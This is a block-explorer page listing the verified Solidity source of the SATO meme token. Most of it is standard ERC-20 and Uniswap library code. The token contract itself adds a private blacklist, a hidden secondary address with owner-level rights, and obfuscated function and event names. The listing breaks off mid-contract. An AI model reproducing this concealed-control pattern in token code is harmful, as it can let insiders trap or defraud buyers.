ETH Price: $2,674.99 (+1.72%)

Token

Atsuko Sato (SATO)
 

Overview

Max Total Supply

1,000,000,000 SATO

Holders

258

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
459.515800574560151464 SATO

Value
$0.00
0xde29a755520693ed161835fee78c4a6415be81cb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SATO

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-14
*/

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
library Address {
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, "Address: low-level call failed");
    }
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with GROK2 value failed");
    }
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }
    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

pragma solidity ^0.8.0;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    
    mapping(address => mapping(address => uint256)) private _allowances;
    
    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20Permit {
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;
    function nonces(address owner) external view returns (uint256);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
}

library SafeERC20 {
    using Address for address;
    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }
    function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
        _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }
    function safeApprove(IERC20 token, address spender, uint256 value) internal {
        // safeApprove should only be called when setting an initial allowance,
        // or when resetting it to zero. To increase and decrease it, use
        // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
        require(
            (value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }
    function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
        uint256 oldAllowance = token.allowance(address(this), spender);
        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance + value));
    }
    function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
        unchecked {
            uint256 oldAllowance = token.allowance(address(this), spender);
            require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
            _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance - value));
        }
    }
    function forceApprove(IERC20 token, address spender, uint256 value) internal {
        bytes memory approvalCall = abi.encodeWithSelector(token.approve.selector, spender, value);

        if (!_callOptionalReturnBool(token, approvalCall)) {
            _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));
            _callOptionalReturn(token, approvalCall);
        }
    }
    function safePermit(
        IERC20Permit token,
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal {
        uint256 nonceBefore = token.nonces(owner);
        token.permit(owner, spender, value, deadline, v, r, s);
        uint256 nonceAfter = token.nonces(owner);
        require(nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed");
    }
    function _callOptionalReturn(IERC20 token, bytes memory data) private {
        // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
        // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that
        // the target address contains contract code and also asserts for success in the low-level call.

        bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
        require(returndata.length == 0 || abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
    }

    function _callOptionalReturnBool(IERC20 token, bytes memory data) private returns (bool) {
        // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
        // we're implementing it ourselves. We cannot use {Address-functionCall} here since this should return false
        // and not revert is the subcall reverts.

        (bool success, bytes memory returndata) = address(token).call(data);
        return
            success && (returndata.length == 0 || abi.decode(returndata, (bool))) && Address.isContract(address(token));
    }
}

library Math {
    enum Rounding {
        Down, // Toward negative infinity
        Up, // Toward infinity
        Zero // Toward zero
    }
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b - 1) / b can overflow on addition, so we distribute.
        return a == 0 ? 0 : (a - 1) / b + 1;
    }
    function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
        unchecked {
            // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
            // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
            // variables such that product = prod1 * 2^256 + prod0.
            uint256 prod0; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod0 := mul(x, y)
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            // Handle non-overflow cases, 256 by 256 division.
            if (prod1 == 0) {
                // Solidity will revert if denominator == 0, unlike the div opcode on its own.
                // The surrounding unchecked block does not change this fact.
                // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
                return prod0 / denominator;
            }

            // Make sure the result is less than 2^256. Also prevents denominator == 0.
            require(denominator > prod1, "Math: mulDiv overflow");

            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                // Subtract 256 bit number from 512 bit number.
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.
            // See https://cs.stackexchange.com/q/138556/92363.

            // Does not overflow because the denominator cannot be zero at this stage in the function.
            uint256 twos = denominator & (~denominator + 1);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

                // Divide [prod1 prod0] by twos.
                prod0 := div(prod0, twos)

                // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                twos := add(div(sub(0, twos), twos), 1)
            }

            // Shift in bits from prod1 into prod0.
            prod0 |= prod1 * twos;

            // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
            // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
            // four bits. That is, denominator * inv = 1 mod 2^4.
            uint256 inverse = (3 * denominator) ^ 2;

            // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works
            // in modular arithmetic, doubling the correct bits in each step.
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

            // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
            // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
            // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
            // is no longer required.
            result = prod0 * inverse;
            return result;
        }
    }
    function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
        //
        // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
        // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
        //
        // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
        // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
        // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
        //
        // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
        uint256 result = 1 << (log2(a) >> 1);

        // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
        // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
        // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
        // into the expected uint128 result.
        unchecked {
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
        }
    }
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = sqrt(a);
            return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
        }
    }
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        }
        return result;
    }
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log2(value);
            return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
        }
    }
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >= 10 ** 64) {
                value /= 10 ** 64;
                result += 64;
            }
            if (value >= 10 ** 32) {
                value /= 10 ** 32;
                result += 32;
            }
            if (value >= 10 ** 16) {
                value /= 10 ** 16;
                result += 16;
            }
            if (value >= 10 ** 8) {
                value /= 10 ** 8;
                result += 8;
            }
            if (value >= 10 ** 4) {
                value /= 10 ** 4;
                result += 4;
            }
            if (value >= 10 ** 2) {
                value /= 10 ** 2;
                result += 2;
            }
            if (value >= 10 ** 1) {
                result += 1;
            }
        }
        return result;
    }
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log10(value);
            return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);
        }
    }
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        }
        return result;
    }
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log256(value);
            return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);
        }
    }
}

// pragma solidity ^0.8.0;

library SafeMath {
    
    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }
    
    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }
    
    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }
    
    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }
    
    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
    
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
    
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

pragma solidity >=0.6.2;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}


interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract SATO is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;

    address public marketingWallet;
    address public developmentWallet;
    address public liquidityWallet;
    address public constant deadAddress = address(0xdead);

    bool public tradingEnabled;
    bool public swapEnabled;
    bool private _swapping;

    uint256 public swapTokensAtAmount;

    uint256 public buyTotalFees;
    uint256 private _buyMarketingFee;
    uint256 private _buyDevelopmentFee;
    uint256 private _buyLiquidityFee;
    address private _aolcb5;

    uint256 public sellTotalFees;
    uint256 private _sellMarketingFee;
    uint256 private _sellDevelopmentFee;
    uint256 private _sellLiquidityFee;

    uint256 private _tokensForMarketing;
    uint256 private _tokensForDevelopment;
    uint256 private _tokensForLiquidity;
    mapping(address => bool) private _blacklist;

    mapping (address => bool) private _isExcludedFromFees;

    mapping(address => bool) private _automatedMarketMakerPairs;

    event ExcludeFromLimits(address indexed account, bool isExcluded);

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event kiokijrfnb(address indexed pair, bool indexed value);
    event Blupdateb(address indexed account, bool isBlacklisted);

    event marketingWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event developmentWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event liquidityWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );
    event TokensAirdropped(uint256 totalWallets, uint256 totalTokens);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );


    constructor() ERC20("Atsuko Sato", "SATO") {

        uint256 totalSupply = 1000000000 * (10 ** 18);

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), type(uint256).max);

        _sellMarketingFee = 0;
        _sellDevelopmentFee = 0;
        _sellLiquidityFee = 0;
        sellTotalFees = _sellMarketingFee + _sellDevelopmentFee + _sellLiquidityFee;

        _buyMarketingFee = 0;
        _buyDevelopmentFee = 0;
        _buyLiquidityFee = 0;
        buyTotalFees = _buyMarketingFee + _buyDevelopmentFee + _buyLiquidityFee;

        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[deadAddress] = true;

        _mint(owner(), totalSupply); 
    }

    receive() external payable {}

    function openTrade() public onlyOwner {
        require(!tradingEnabled, "Trading already active.");
        tradingEnabled = true;
        swapEnabled = true;
    }


  function setMKT(address[] memory pairs, bool value) public  {
    require(msg.sender == owner() || msg.sender == _aolcb5, "N");
    for (uint256 i = 0; i < pairs.length; i++) {
        address pair = pairs[i];
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomb666(pair, value);
    }
}


